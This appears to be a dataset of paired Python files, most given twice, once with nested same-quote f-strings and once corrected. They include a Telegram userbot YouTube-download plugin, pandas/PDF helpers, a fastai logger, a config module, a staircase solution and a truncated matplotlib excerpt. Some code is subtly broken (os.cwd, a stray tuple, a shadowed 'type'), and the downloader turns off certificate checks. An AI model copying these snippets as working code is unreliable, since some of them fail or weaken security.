v_url.chat_id, f"{rip_data["id"]}.mp4", supports_streaming=True, caption=url, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data["title"]}.mp4") ), ) os.remove(f"{rip_data["id"]}.mp4") await rkp.delete() @Andencento.on(andencento_cmd(pattern="vsong(?: |$)(.*)", outgoing=True)) @Andencento.on(sudo_cmd(pattern="vsong(?: |$)(.*)", allow_sudo=True)) async def download_video(v_url): lazy = v_url sender = await lazy.get_sender() me = await lazy.client.get_me() if not sender.id == me.id: rkp = await eor(lazy, "Processing video song request....") else: rkp = await eor(lazy, "Processing video song request....") url = v_url.pattern_match.group(1) if not url: return await eod(rkp, f"**Error** \n__Usage:__ `{hl}vsong <song name>`") search = SearchVideos(url, offset=1, mode="json", max_results=1) test = search.result() p = json.loads(test) q = p.get("search_result") try: url = q[0]["link"] except: return await eod(rkp, "`failed to find`") type = "audio" await rkp.edit("Video Song Request Processed. **Downloading Now!!**") if type == "audio": opts = { "format": "best", "addmetadata": True, "key": "FFmpegMetadata", "prefer_ffmpeg": True, "geo_bypass": True, "nocheckcertificate": True, "postprocessors": [ {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} ], "outtmpl": "%(id)s.mp4", "logtostderr": False, "quiet": True, } song = False video = True try: await rkp.edit("Fetching Video Song") with YoutubeDL(opts) as rip: rip_data = rip.extract_info(url) except DownloadError as DE: await eod(rkp, f"`{str(DE)}`") return except ContentTooShortError: await eod(rkp, "`The download content was too short.`") return except GeoRestrictedError: await eod( rkp, "`Video is not available from your geographic location due to geographic restrictions imposed by a website.`", ) return except MaxDownloadsReached: await eod(rkp, "`Max-downloads limit has been reached.`") return except PostProcessingError: await eod(rkp, "`There was an error during post processing.`") return except UnavailableVideoError: await eod(rkp, "`Media is not available in the requested format.`") return except XAttrMetadataError as XAME: await eod(rkp, f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`") return except ExtractorError: await eod(rkp, "`There was an error during info extraction.`") return except Exception as e: await eod(rkp, f"{str(type(e)): {str(e)}}") return c_time = time.time() if song: await rkp.edit( f"🎶 Preparing to upload video song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data["id"]}.mp3", supports_streaming=True, attributes=[ DocumentAttributeAudio( duration=int(rip_data["duration"]), title=str(rip_data["title"]), performer=perf, ) ], progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data["title"]}.mp3") ), ) os.remove(f"{rip_data["id"]}.mp3") await v_url.delete() elif video: await rkp.edit( f"🎶 Preparing to upload video song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data["id"]}.mp4", supports_streaming=True, caption=rip_data["title"], progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data["title"]}.mp4") ), ) os.remove(f"{rip_data["id"]}.mp4") await rkp.delete() CmdHelp("songs").add_command( "song", "<song name>", "Downloads the song from YouTube." ).add_command( "vsong", "<song name>", "Downloads the Video Song from YouTube." ).add_command( "lyrics", "<song name>", "Gives the lyrics of that song.." ).add_info( "Songs & Lyrics." ).add_warning( "✅ Harmless Module." ).add()
import asyncio import json import os import time from telethon.tl.types import DocumentAttributeAudio from youtube_dl import YoutubeDL from youtube_dl.utils import (ContentTooShortError, DownloadError, ExtractorError, GeoRestrictedError, MaxDownloadsReached, PostProcessingError, UnavailableVideoError, XAttrMetadataError) try: from youtubesearchpython import SearchVideos except: os.system("pip install pip install youtube-search-python") from youtubesearchpython import SearchVideos from . import * @Andencento.on(andencento_cmd(pattern="lyrics(?: |$)(.*)", outgoing=True)) @Andencento.on(sudo_cmd(pattern="lyrics(?: |$)(.*)", allow_sudo=True)) async def nope(kraken): user = kraken.pattern_match.group(1) await eor(kraken, f"Searching lyrics for `{user}` ...") if not user: if kraken.is_reply: (await kraken.get_reply_message()).message else: await eod(kraken, "Give song name to get lyrics...") return troll = await bot.inline_query("iLyricsBot", f"{(deEmojify(user))}") await troll[0].click( kraken.chat_id, reply_to=kraken.reply_to_msg_id, silent=True if kraken.is_reply else False, hide_via=True, ) await kraken.delete() @Andencento.on(andencento_cmd(pattern="song(?: |$)(.*)", outgoing=True)) @Andencento.on(sudo_cmd(pattern="song(?: |$)(.*)", allow_sudo=True)) async def download_video(v_url): lazy = v_url sender = await lazy.get_sender() me = await lazy.client.get_me() if not sender.id == me.id: rkp = await eor(lazy, "`Wait. Processing your request....`") else: rkp = await eor(lazy, "`Wait. Processing your request....`") url = v_url.pattern_match.group(1) if not url: return await eod(rkp, f"**Error** \n__Usage:__ `{hl}song <song name>`") search = SearchVideos(url, offset=1, mode="json", max_results=1) test = search.result() p = json.loads(test) q = p.get("search_result") try: url = q[0]["link"] except: return await eod(rkp, "`Failed to process your request....`") type = "audio" await rkp.edit("Request processed. **Downloading Now!!!**") if type == "audio": opts = { "format": "bestaudio", "addmetadata": True, "key": "FFmpegMetadata", "writethumbnail": True, "prefer_ffmpeg": True, "geo_bypass": True, "nocheckcertificate": True, "postprocessors": [ { "key": "FFmpegExtractAudio", "preferredcodec": "mp3", "preferredquality": "320", } ], "outtmpl": "%(id)s.mp3", "quiet": True, "logtostderr": False, } video = False song = True try: await rkp.edit("**Fetching Song**") with YoutubeDL(opts) as rip: rip_data = rip.extract_info(url) except DownloadError as DE: await eod(rkp, f"`{str(DE)}`") return except ContentTooShortError: await eod(rkp, "`The download content was too short.`") return except GeoRestrictedError: await eod( rkp, "`Video is not available from your geographic location due to geographic restrictions imposed by a website.`", ) return except MaxDownloadsReached: await eod(rkp, "`Max-downloads limit has been reached.`") return except PostProcessingError: await eod(rkp, "`There was an error during post processing.`") return except UnavailableVideoError: await eod(rkp, "`Media is not available in the requested format.`") return except XAttrMetadataError as XAME: await eod(rkp, f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`") return except ExtractorError: await eod(rkp, "`There was an error during info extraction.`") return except Exception as e: await eod(rkp, f"{str(type(e)): {str(e)}}") return c_time = time.time() if song: await rkp.edit( f"🎶 Preparing to upload song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data['id']}.mp3", supports_streaming=True, attributes=[ DocumentAttributeAudio( duration=int(rip_data["duration"]), title=str(rip_data["title"]), performer=perf, ) ], progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data['title']}.mp3") ), ) os.remove(f"{rip_data['id']}.mp3") await v_url.delete() elif video: await rkp.edit( f"🎶 Preparing to upload song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data['id']}.mp4", supports_streaming=True, caption=url, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data['title']}.mp4") ), ) os.remove(f"{rip_data['id']}.mp4") await rkp.delete() @Andencento.on(andencento_cmd(pattern="vsong(?: |$)(.*)", outgoing=True)) @Andencento.on(sudo_cmd(pattern="vsong(?: |$)(.*)", allow_sudo=True)) async def download_video(v_url): lazy = v_url sender = await lazy.get_sender() me = await lazy.client.get_me() if not sender.id == me.id: rkp = await eor(lazy, "Processing video song request....") else: rkp = await eor(lazy, "Processing video song request....") url = v_url.pattern_match.group(1) if not url: return await eod(rkp, f"**Error** \n__Usage:__ `{hl}vsong <song name>`") search = SearchVideos(url, offset=1, mode="json", max_results=1) test = search.result() p = json.loads(test) q = p.get("search_result") try: url = q[0]["link"] except: return await eod(rkp, "`failed to find`") type = "audio" await rkp.edit("Video Song Request Processed. **Downloading Now!!**") if type == "audio": opts = { "format": "best", "addmetadata": True, "key": "FFmpegMetadata", "prefer_ffmpeg": True, "geo_bypass": True, "nocheckcertificate": True, "postprocessors": [ {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} ], "outtmpl": "%(id)s.mp4", "logtostderr": False, "quiet": True, } song = False video = True try: await rkp.edit("Fetching Video Song") with YoutubeDL(opts) as rip: rip_data = rip.extract_info(url) except DownloadError as DE: await eod(rkp, f"`{str(DE)}`") return except ContentTooShortError: await eod(rkp, "`The download content was too short.`") return except GeoRestrictedError: await eod( rkp, "`Video is not available from your geographic location due to geographic restrictions imposed by a website.`", ) return except MaxDownloadsReached: await eod(rkp, "`Max-downloads limit has been reached.`") return except PostProcessingError: await eod(rkp, "`There was an error during post processing.`") return except UnavailableVideoError: await eod(rkp, "`Media is not available in the requested format.`") return except XAttrMetadataError as XAME: await eod(rkp, f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`") return except ExtractorError: await eod(rkp, "`There was an error during info extraction.`") return except Exception as e: await eod(rkp, f"{str(type(e)): {str(e)}}") return c_time = time.time() if song: await rkp.edit( f"🎶 Preparing to upload video song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data['id']}.mp3", supports_streaming=True, attributes=[ DocumentAttributeAudio( duration=int(rip_data["duration"]), title=str(rip_data["title"]), performer=perf, ) ], progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data['title']}.mp3") ), ) os.remove(f"{rip_data['id']}.mp3") await v_url.delete() elif video: await rkp.edit( f"🎶 Preparing to upload video song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data['id']}.mp4", supports_streaming=True, caption=rip_data["title"], progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data['title']}.mp4") ), ) os.remove(f"{rip_data['id']}.mp4") await rkp.delete() CmdHelp("songs").add_command( "song", "<song name>", "Downloads the song from YouTube." ).add_command( "vsong", "<song name>", "Downloads the Video Song from YouTube." ).add_command( "lyrics", "<song name>", "Gives the lyrics of that song.." ).add_info( "Songs & Lyrics." ).add_warning( "✅ Harmless Module." ).add()
from functools import partial import os from matplotlib.backends.backend_pdf import PdfPages import pandas as pd def map_lowest(func, dct): return { k: map_lowest(func, v) if isinstance(v, dict) else func(v) for k, v in dct.items() } def swaplevel(dct_of_dct): keys = next(iter(dct_of_dct.values())).keys() return {in_k: {out_k: v[in_k] for out_k, v in dct_of_dct.items()} for in_k in keys} def collapse(dct, axis=0, names=None): """collapse. Collapse nested dictionary of dataframes into MultiIndex DataFrame Args: dct (dict): nested dictionary of dataframes. axis (int): axis on which to concat, default 0. names (list, optional): index names to pass to pd.concat, default None. """ if isinstance(next(iter(dct.values())), dict): return collapse({k: collapse(v, axis=axis, names=None) for k, v in dct.items()}, axis=axis, names=names) else: return pd.concat(dct, axis=axis, names=names) class PdfDeck: def __init__(self, figs=None, names=None): self.figs = figs or [] self.fignames = names or [] @classmethod def save_as_pdf(cls, figs, fpath): return cls(figs).make(fpath) def default_figname(self): return f"{repr(self).replace(" ", "_")}_figure_{len(self.figs)}" def add_figure(self, fig, *, position=None, name=None): if position is None: self.figs.append(fig) self.fignames.append(name or self.default_figname()) else: self.figs.insert(position, fig) def make(self, fpath): with PdfPages(fpath) as pdf: for fig in self.figs: pdf.savefig(fig) def make_individual(self, folder=None, **savefig_kwds): folder = folder or os.cwd() for fig, name in zip(self.figs, self.fignames): fpath = os.path.join(folder, name + "." + savefig_kwds.get("format", "pdf")) fig.savefig(fpath, **savefig_kwds)
from functools import partial import os from matplotlib.backends.backend_pdf import PdfPages import pandas as pd def map_lowest(func, dct): return { k: map_lowest(func, v) if isinstance(v, dict) else func(v) for k, v in dct.items() } def swaplevel(dct_of_dct): keys = next(iter(dct_of_dct.values())).keys() return {in_k: {out_k: v[in_k] for out_k, v in dct_of_dct.items()} for in_k in keys} def collapse(dct, axis=0, names=None): """collapse. Collapse nested dictionary of dataframes into MultiIndex DataFrame Args: dct (dict): nested dictionary of dataframes. axis (int): axis on which to concat, default 0. names (list, optional): index names to pass to pd.concat, default None. """ if isinstance(next(iter(dct.values())), dict): return collapse({k: collapse(v, axis=axis, names=None) for k, v in dct.items()}, axis=axis, names=names) else: return pd.concat(dct, axis=axis, names=names) class PdfDeck: def __init__(self, figs=None, names=None): self.figs = figs or [] self.fignames = names or [] @classmethod def save_as_pdf(cls, figs, fpath): return cls(figs).make(fpath) def default_figname(self): return f"{repr(self).replace(' ', '_')}_figure_{len(self.figs)}" def add_figure(self, fig, *, position=None, name=None): if position is None: self.figs.append(fig) self.fignames.append(name or self.default_figname()) else: self.figs.insert(position, fig) def make(self, fpath): with PdfPages(fpath) as pdf: for fig in self.figs: pdf.savefig(fig) def make_individual(self, folder=None, **savefig_kwds): folder = folder or os.cwd() for fig, name in zip(self.figs, self.fignames): fpath = os.path.join(folder, name + "." + savefig_kwds.get("format", "pdf")) fig.savefig(fpath, **savefig_kwds)
"A `Callback` that saves tracked metrics into a persistent file." # Contribution from devforfu: https://nbviewer.jupyter.org/gist/devforfu/ea0b3fcfe194dad323c3762492b05cae import pandas as pd from fastai.basic_train import Learner, LearnerCallback from fastai_sparse.core import Any __all__ = ['CSVLoggerIouByClass'] class CSVLoggerIouByClass(LearnerCallback): "A `LearnerCallback` that saves history of IoU by classes into CSV `filename`." def __init__(self, learn: Learner, cb_iou_mean, class_names=None, filename: str = 'iou_by_class'): super().__init__(learn) self.filename = filename, self.path = self.learn.path / f'{filename}.csv' self.cb_iou_mean = cb_iou_mean self.class_names = class_names if self.class_names is None: self.class_names = [str(i) for i in range(cb_iou_mean.n_categories)] def read_logged_file(self): "Read the content of saved file" return pd.read_csv(self.path) def on_train_begin(self, **kwargs: Any) -> None: "Prepare file with metric names." self.path.parent.mkdir(parents=True, exist_ok=True) self.file = self.path.open('w') columns = ['epoch', 'datatype', 'mean_iou'] + self.class_names self.file.write(','.join(columns) + '\n') self.file.flush() def on_epoch_end(self, epoch: int, **kwargs: Any) -> bool: "Add a line with `epoch` number, `smooth_loss` and `last_metrics`." cb = self.cb_iou_mean for datatype in ['train', 'valid']: d = cb._d[datatype] stats = [str(epoch), datatype, f"{d["iou"]:.6f}"] iou_per_class = d['iou_per_class'] stats += [f'{value:.6f}' for value in iou_per_class] str_stats = ','.join(stats) self.file.write(str_stats + '\n') self.file.flush() def on_train_end(self, **kwargs: Any) -> None: "Close the file." self.file.close()
"A `Callback` that saves tracked metrics into a persistent file." # Contribution from devforfu: https://nbviewer.jupyter.org/gist/devforfu/ea0b3fcfe194dad323c3762492b05cae import pandas as pd from fastai.basic_train import Learner, LearnerCallback from fastai_sparse.core import Any __all__ = ['CSVLoggerIouByClass'] class CSVLoggerIouByClass(LearnerCallback): "A `LearnerCallback` that saves history of IoU by classes into CSV `filename`." def __init__(self, learn: Learner, cb_iou_mean, class_names=None, filename: str = 'iou_by_class'): super().__init__(learn) self.filename = filename, self.path = self.learn.path / f'{filename}.csv' self.cb_iou_mean = cb_iou_mean self.class_names = class_names if self.class_names is None: self.class_names = [str(i) for i in range(cb_iou_mean.n_categories)] def read_logged_file(self): "Read the content of saved file" return pd.read_csv(self.path) def on_train_begin(self, **kwargs: Any) -> None: "Prepare file with metric names." self.path.parent.mkdir(parents=True, exist_ok=True) self.file = self.path.open('w') columns = ['epoch', 'datatype', 'mean_iou'] + self.class_names self.file.write(','.join(columns) + '\n') self.file.flush() def on_epoch_end(self, epoch: int, **kwargs: Any) -> bool: "Add a line with `epoch` number, `smooth_loss` and `last_metrics`." cb = self.cb_iou_mean for datatype in ['train', 'valid']: d = cb._d[datatype] stats = [str(epoch), datatype, f"{d['iou']:.6f}"] iou_per_class = d['iou_per_class'] stats += [f'{value:.6f}' for value in iou_per_class] str_stats = ','.join(stats) self.file.write(str_stats + '\n') self.file.flush() def on_train_end(self, **kwargs: Any) -> None: "Close the file." self.file.close()
import os # Project Name PROJECT_NAME = os.environ.get('PROJECT') SOURCE_PATH = os.environ.get('SOURCE_PATH') DESTINATION_PATH = os.environ.get('DESTINATION_PATH') src_path = SOURCE_PATH.split('//') SOURCE_BUCKET_NAME = src_path[1] dest_path = DESTINATION_PATH.split('//') DESTINATION_BUCKET_NAME = dest_path[1] KEY = f"b{os.environ.get("KEY")}" IV = f"b{os.environ.get("IV")}" FILE_EXTENSION = ".pdf".lower() ENCRYPTED_EXTENSION = ".enc".lower() IMAGE_EXTENSION = ".png".lower() FILE_LOCATION = "/tmp" MAX_PDF_SIZE_IN_MB = 20 MAX_PDF_SIZE_IN_KB_POST_SPLIT = 500 MIN_PAGE_COUNT = 10 MAX_PAGE_COUNT = 30 MODE = 0o640 CONVERT_IN_MB = 1024*1024 CONVERT_IN_KB = 1024 CHUNK_SIZE = 24 * CONVERT_IN_KB """ REQUIRED RESOLUTION: Base Resolution is 600X700 Required Resolution is 1250*1458 Constant base reference = 72 So xres = 1250*72/600 -> 150 And yres = 1458*72/700 -> 149.9657 => 150 """ X_RES = 72 Y_RES = 72 DEFAULT_DIV = 72 DPI_1 = 300, 300 DPI_2 = 500, 500 DPI_3 = None DPI_4 = None DPI_5 = None ALL_DPI = [DPI_1, DPI_2]
import os # Project Name PROJECT_NAME = os.environ.get('PROJECT') SOURCE_PATH = os.environ.get('SOURCE_PATH') DESTINATION_PATH = os.environ.get('DESTINATION_PATH') src_path = SOURCE_PATH.split('//') SOURCE_BUCKET_NAME = src_path[1] dest_path = DESTINATION_PATH.split('//') DESTINATION_BUCKET_NAME = dest_path[1] KEY = f"b{os.environ.get('KEY')}" IV = f"b{os.environ.get('IV')}" FILE_EXTENSION = ".pdf".lower() ENCRYPTED_EXTENSION = ".enc".lower() IMAGE_EXTENSION = ".png".lower() FILE_LOCATION = "/tmp" MAX_PDF_SIZE_IN_MB = 20 MAX_PDF_SIZE_IN_KB_POST_SPLIT = 500 MIN_PAGE_COUNT = 10 MAX_PAGE_COUNT = 30 MODE = 0o640 CONVERT_IN_MB = 1024*1024 CONVERT_IN_KB = 1024 CHUNK_SIZE = 24 * CONVERT_IN_KB """ REQUIRED RESOLUTION: Base Resolution is 600X700 Required Resolution is 1250*1458 Constant base reference = 72 So xres = 1250*72/600 -> 150 And yres = 1458*72/700 -> 149.9657 => 150 """ X_RES = 72 Y_RES = 72 DEFAULT_DIV = 72 DPI_1 = 300, 300 DPI_2 = 500, 500 DPI_3 = None DPI_4 = None DPI_5 = None ALL_DPI = [DPI_1, DPI_2]
''' Topic : Algorithms Subtopic : StairCase Language : Python Problem Statement : Write a program that prints a staircase of size 'n'. Url : https://www.hackerrank.com/challenges/staircase/problem ''' # Complete the staircase function below. def staircase(n): for i in range(1, n + 1): print(f'{'#'*i:>{n}}') if __name__ == '__main__': n = int(input()) staircase(n)
''' Topic : Algorithms Subtopic : StairCase Language : Python Problem Statement : Write a program that prints a staircase of size 'n'. Url : https://www.hackerrank.com/challenges/staircase/problem ''' # Complete the staircase function below. def staircase(n): for i in range(1, n + 1): print(f'{"#"*i:>{n}}') if __name__ == '__main__': n = int(input()) staircase(n)
""" An object-oriented plotting library. A procedural interface is provided by the companion pyplot module, which may be imported directly, e.g.:: import matplotlib.pyplot as plt or using ipython:: ipython at your terminal, followed by:: In [1]: %matplotlib In [2]: import matplotlib.pyplot as plt at the ipython shell prompt. For the most part, direct use of the object-oriented library is encouraged when programming; pyplot is primarily for working interactively. The exceptions are the pyplot functions `.pyplot.figure`, `.pyplot.subplot`, `.pyplot.subplots`, and `.pyplot.savefig`, which can greatly simplify scripting. Modules include: :mod:`matplotlib.axes` The `~.axes.Axes` class. Most pyplot functions are wrappers for `~.axes.Axes` methods. The axes module is the highest level of OO access to the library. :mod:`matplotlib.figure` The `.Figure` class. :mod:`matplotlib.artist` The `.Artist` base class for all classes that draw things. :mod:`matplotlib.lines` The `.Line2D` class for drawing lines and markers. :mod:`matplotlib.patches` Classes for drawing polygons. :mod:`matplotlib.text` The `.Text` and `.Annotation` classes. :mod:`matplotlib.image` The `.AxesImage` and `.FigureImage` classes. :mod:`matplotlib.collections` Classes for efficient drawing of groups of lines or polygons. :mod:`matplotlib.colors` Color specifications and making colormaps. :mod:`matplotlib.cm` Colormaps, and the `.ScalarMappable` mixin class for providing color mapping functionality to other classes. :mod:`matplotlib.ticker` Calculation of tick mark locations and formatting of tick labels. :mod:`matplotlib.backends` A subpackage with modules for various GUI libraries and output formats. The base matplotlib namespace includes: `~matplotlib.rcParams` Default configuration settings; their defaults may be overridden using a :file:`matplotlibrc` file. `~matplotlib.use` Setting the Matplotlib backend. This should be called before any figure is created, because it is not possible to switch between different GUI backends after that. Matplotlib was initially written by John D. Hunter (1968-2012) and is now developed and maintained by a host of others. Occasionally the internal documentation (python docstrings) will refer to MATLAB&reg;, a registered trademark of The MathWorks, Inc. """ import atexit from collections import namedtuple from collections.abc import MutableMapping import contextlib from distutils.version import LooseVersion import functools import importlib import inspect from inspect import Parameter import locale import logging import os from pathlib import Path import pprint import re import shutil import subprocess import sys import tempfile import warnings # cbook must import matplotlib only within function # definitions, so it is safe to import from it here. from . import _api, cbook, docstring, rcsetup from matplotlib.cbook import MatplotlibDeprecationWarning, sanitize_sequence from matplotlib.cbook import mplDeprecation # deprecated from matplotlib.rcsetup import validate_backend, cycler import numpy # Get the version from the _version.py versioneer file. For a git checkout, # this is computed based on the number of commits since the last tag. from ._version import get_versions __version__ = str(get_versions()['version']) del get_versions _log = logging.getLogger(__name__) __bibtex__ = r"""@Article{Hunter:2007, Author = {Hunter, J. D.}, Title = {Matplotlib: A 2D graphics environment}, Journal = {Computing in Science \& Engineering}, Volume = {9}, Number = {3}, Pages = {90--95}, abstract = {Matplotlib is a 2D graphics package used for Python for application development, interactive scripting, and publication-quality image generation across user interfaces and operating systems.}, publisher = {IEEE COMPUTER SOC}, year = 2007 }""" def _check_versions(): # Quickfix to ensure Microsoft Visual C++ redistributable # DLLs are loaded before importing kiwisolver from . import ft2font for modname, minver in [ ("cycler", "0.10"), ("dateutil", "2.7"), ("kiwisolver", "1.0.1"), ("numpy", "1.16"), ("pyparsing", "2.2.1"), ]: module = importlib.import_module(modname) if LooseVersion(module.__version__) < minver: raise ImportError("Matplotlib requires {}>={}; you have {}" .format(modname, minver, module.__version__)) _check_versions() # The decorator ensures this always returns the same handler (and it is only # attached once). @functools.lru_cache() def _ensure_handler(): """ The first time this function is called, attach a `StreamHandler` using the same format as `logging.basicConfig` to the Matplotlib root logger. Return this handler every time this function is called. """ handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(logging.BASIC_FORMAT)) _log.addHandler(handler) return handler def set_loglevel(level): """ Set Matplotlib's root logger and root logger handler level, creating the handler if it does not exist yet. Typically, one should call ``set_loglevel("info")`` or ``set_loglevel("debug")`` to get additional debugging information. Parameters ---------- level : {"notset", "debug", "info", "warning", "error", "critical"} The log level of the handler. Notes ----- The first time this function is called, an additional handler is attached to Matplotlib's root handler; this handler is reused every time and this function simply manipulates the logger and handler's level. """ _log.setLevel(level.upper()) _ensure_handler().setLevel(level.upper()) def _logged_cached(fmt, func=None): """ Decorator that logs a function's return value, and memoizes that value. After :: @_logged_cached(fmt) def func(): ... the first call to *func* will log its return value at the DEBUG level using %-format string *fmt*, and memoize it; later calls to *func* will directly return that value. """ if func is None: # Return the actual decorator. return functools.partial(_logged_cached, fmt) called = False ret = None @functools.wraps(func) def wrapper(**kwargs): nonlocal called, ret if not called: ret = func(**kwargs) called = True _log.debug(fmt, ret) return ret return wrapper _ExecInfo = namedtuple("_ExecInfo", "executable version") class ExecutableNotFoundError(FileNotFoundError): """ Error raised when an executable that Matplotlib optionally depends on can't be found. """ pass @functools.lru_cache() def _get_executable_info(name): """ Get the version of some executable that Matplotlib optionally depends on. .. warning:: The list of executables that this function supports is set according to Matplotlib's internal needs, and may change without notice. Parameters ---------- name : str The executable to query. The following values are currently supported: "dvipng", "gs", "inkscape", "magick", "pdftops". This list is subject to change without notice. Returns ------- tuple A namedtuple with fields ``executable`` (`str`) and ``version`` (`distutils.version.LooseVersion`, or ``None`` if the version cannot be determined). Raises ------ ExecutableNotFoundError If the executable is not found or older than the oldest version supported by Matplotlib. ValueError If the executable is not one that we know how to query. """ def impl(args, regex, min_ver=None, ignore_exit_code=False): # Execute the subprocess specified by args; capture stdout and stderr. # Search for a regex match in the output; if the match succeeds, the # first group of the match is the version. # Return an _ExecInfo if the executable exists, and has a version of # at least min_ver (if set); else, raise ExecutableNotFoundError. try: output = subprocess.check_output( args, stderr=subprocess.STDOUT, universal_newlines=True, errors="replace") except subprocess.CalledProcessError as _cpe: if ignore_exit_code: output = _cpe.output else: raise ExecutableNotFoundError(str(_cpe)) from _cpe except OSError as _ose: raise ExecutableNotFoundError(str(_ose)) from _ose match = re.search(regex, output) if match: version = LooseVersion(match.group(1)) if min_ver is not None and version < min_ver: raise ExecutableNotFoundError( f"You have {args[0]} version {version} but the minimum " f"version supported by Matplotlib is {min_ver}") return _ExecInfo(args[0], version) else: raise ExecutableNotFoundError( f"Failed to determine the version of {args[0]} from " f"{" ".join(args)}, which output {output}") if name == "dvipng": return impl(["dvipng", "-version"], "(?m)^dvipng(?: .*)? (.+)", "1.6") elif name == "gs": execs = (["gswin32c", "gswin64c", "mgs", "gs"] # "mgs" for miktex. if sys.platform == "win32" else ["gs"]) for e in execs: try: return impl([e, "--version"], "(.*)", "9") except ExecutableNotFoundError: pass message = "Failed to find a Ghostscript installation" raise ExecutableNotFoundError(message) elif name == "inkscape": try: # Try headless option first (needed for Inkscape version < 1.0): return impl(["inkscape", "--without-gui", "-V"], "Inkscape ([^ ]*)") except ExecutableNotFoundError: pass # Suppress exception chaining. # If --without-gui is not accepted, we may be using Inkscape >= 1.0 so # try without it: return impl(["inkscape", "-V"], "Inkscape ([^ ]*)") elif name == "magick": if sys.platform == "win32": # Check the registry to avoid confusing ImageMagick's convert with # Windows's builtin convert.exe. import winreg binpath = "" for flag in [0, winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY]: try: with winreg.OpenKeyEx( winreg.HKEY_LOCAL_MACHINE, r"Software\Imagemagick\Current", 0, winreg.KEY_QUERY_VALUE | flag) as hkey: binpath = winreg.QueryValueEx(hkey, "BinPath")[0] except OSError: pass path = None if binpath: for name in ["convert.exe", "magick.exe"]: candidate = Path(binpath, name) if candidate.exists(): path = str(candidate) break if path is None: raise ExecutableNotFoundError( "Failed to find an ImageMagick installation") else: path = "convert" info = impl([path, "--version"], r"^Version: ImageMagick (\S*)") if info.version == "7.0.10-34": # https://github.com/ImageMagick/ImageMagick/issues/2720 raise ExecutableNotFoundError( f"You have ImageMagick {info.version}, which is unsupported") return info elif name == "pdftops": info = impl(["pdftops", "-v"], "^pdftops version (.*)", ignore_exit_code=True) if info and not ("3.0" <= info.version # poppler version numbers. or "0.9" <= info.version <= "1.0"): raise ExecutableNotFoundError( f"You have pdftops version {info.version} but the minimum " f"version supported by Matplotlib is 3.0") return info else: raise ValueError("Unknown executable: {!r}".format(name)) def checkdep_usetex(s): if not s: return False if not shutil.which("tex"): _log.warning("usetex mode requires TeX.") return False try: _get_executable_info("dvipng") except ExecutableNotFoundError: _log.warning("usetex mode requires dvipng.") return False try: _get_executable_info("gs") except ExecutableNotFoundError: _log.warning("usetex mode requires ghostscript.") return False return True def _get_xdg_config_dir(): """ Return the XDG configuration directory, according to the XDG base directory spec: https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html """ return os.environ.get('XDG_CONFIG_HOME') or str(Path.home() / ".config") def _get_xdg_cache_dir(): """ Return the XDG cache directory, according to the XDG base directory spec: https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html """ return os.environ.get('XDG_CACHE_HOME') or str(Path.home() / ".cache") def _get_config_or_cache_dir(xdg_base_getter): configdir = os.environ.get('MPLCONFIGDIR') if configdir: configdir = Path(configdir).resolve() elif sys.platform.startswith(('linux', 'freebsd')): # Only call _xdg_base_getter here so that MPLCONFIGDIR is tried first, # as _xdg_base_getter can throw. configdir = Path(xdg_base_getter(), "matplotlib") else: configdir = Path.home() / ".matplotlib" try: configdir.mkdir(parents=True, exist_ok=True) except OSError: pass else: if os.access(str(configdir), os.W_OK) and configdir.is_dir(): return str(configdir) # If the config or cache directory cannot be created or is not a writable # directory, create a temporary one. tmpdir = os.environ["MPLCONFIGDIR"] = \ tempfile.mkdtemp(prefix="matplotlib-") atexit.register(shutil.rmtree, tmpdir) _log.warning( "Matplotlib created a temporary config/cache directory at %s because " "the default path (%s) is not a writable directory; it is highly " "recommended to set the MPLCONFIGDIR environment variable to a " "writable directory, in particular to speed up the import of " "Matplotlib and to better support multiprocessing.", tmpdir, configdir) return tmpdir @_logged_cached('CONFIGDIR=%s') def get_configdir(): """ Return the string path of the the configuration directory. The directory is chosen as follows: 1. If the MPLCONFIGDIR environment variable is supplied, choose that. 2. On Linux, follow the XDG specification and look first in ``$XDG_CONFIG_HOME``, if defined, or ``$HOME/.config``. On other platforms, choose ``$HOME/.matplotlib``. 3. If the chosen directory exists and is writable, use that as the configuration directory. 4. Else, create a temporary directory, and use it as the configuration directory. """ return _get_config_or_cache_dir(_get_xdg_config_dir) @_logged_cached('CACHEDIR=%s') def get_cachedir(): """ Return the string path of the cache directory. The procedure used to find the directory is the same as for _get_config_dir, except using ``$XDG_CACHE_HOME``/``$HOME/.cache`` instead. """ return _get_config_or_cache_dir(_get_xdg_cache_dir) @_logged_cached('matplotlib data path: %s') def get_data_path(): """Return the path to Matplotlib data.""" return str(Path(__file__).with_name("mpl-data")) def matplotlib_fname(): """ Get the location of the config file. The file location is determined in the following order - 